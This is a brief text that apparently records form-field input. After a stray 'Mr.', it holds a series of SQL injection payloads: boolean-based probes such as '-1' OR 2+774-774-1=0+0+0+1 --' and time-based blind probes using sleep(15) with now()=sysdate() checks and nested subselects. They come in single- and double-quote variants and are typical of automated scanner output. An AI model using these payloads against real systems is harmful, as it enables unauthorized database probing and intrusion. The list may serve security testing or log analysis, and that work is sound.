Mr.

-1' OR 2+774-774-1=0+0+0+1 --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1' OR 2+155-155-1=0+0+0+1 or 'uVnon0Os'='

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1" OR 2+157-157-1=0+0+0+1 --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

if(now()=sysdate(),sleep(15),0)